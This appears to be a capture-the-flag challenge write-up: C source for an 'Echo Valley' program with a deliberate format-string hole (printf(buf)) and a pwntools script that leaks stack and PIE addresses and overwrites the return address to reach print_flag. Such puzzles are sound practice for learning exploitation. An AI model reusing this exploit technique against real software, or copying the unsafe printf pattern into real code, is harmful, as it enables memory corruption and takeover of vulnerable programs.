Source
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void print_flag() {
char buf[32];
FILE *file = fopen("/home/valley/flag.txt", "r");
if (file == NULL) {
perror("Failed to open flag file");
exit(EXIT_FAILURE);
}
fgets(buf, sizeof(buf), file);
printf("Congrats! Here is your flag: %s", buf);
fclose(file);
exit(EXIT_SUCCESS);
}
void echo_valley() {
printf("Welcome to the Echo Valley, Try Shouting: \n");
char buf[100];
while(1)
{
fflush(stdout);
if (fgets(buf, sizeof(buf), stdin) == NULL) {
printf("\nEOF detected. Exiting...\n");
exit(0);
}
if (strcmp(buf, "exit\n") == 0) {
printf("The Valley Disappears\n");
break;
}
printf("You heard in the distance: ");
printf(buf);
fflush(stdout);
}
fflush(stdout);
}
int main()
{
echo_valley();
return 0;
}
Solution
#!/usr/bin/env python3
from pwn import *
elf = ELF("./valley_patched")
rop = ROP(elf)
context.binary = elf
context.terminal = ["alacritty", "-e", "sh", "-c"]
dbginit = """
b main
"""
def conn():
if args.REMOTE:
r = remote("shape-facility.picoctf.net", 65339)
elif args.GDB:
r = gdb.debug([elf.path], gdbscript=dbginit)
else:
r = process([elf.path])
return r
def main():
r = conn()
r.sendline(b'%20$p|%21$p|')
r.recvuntil(b'You heard in the distance: ')
leak_1 = int(r.recvuntil(b'|', drop=True).decode("ascii"),16)
leak_2 = int(r.recvuntil(b'|', drop=True).decode("ascii"),16)
ret_addr = leak_1 - 8
elf.address = leak_2 - (elf.sym["main"] + 18)
write = {
ret_addr : elf.sym["print_flag"]
}
payload = fmtstr_payload(6, write, write_size="short")
r.sendline(payload)
r.sendline(b'exit')
r.recvuntil(b'The Valley Disappears\n')
flag = r.clean().decode("ascii").strip()
print()
print(flag)
print()
if __name__ == "__main__":
main()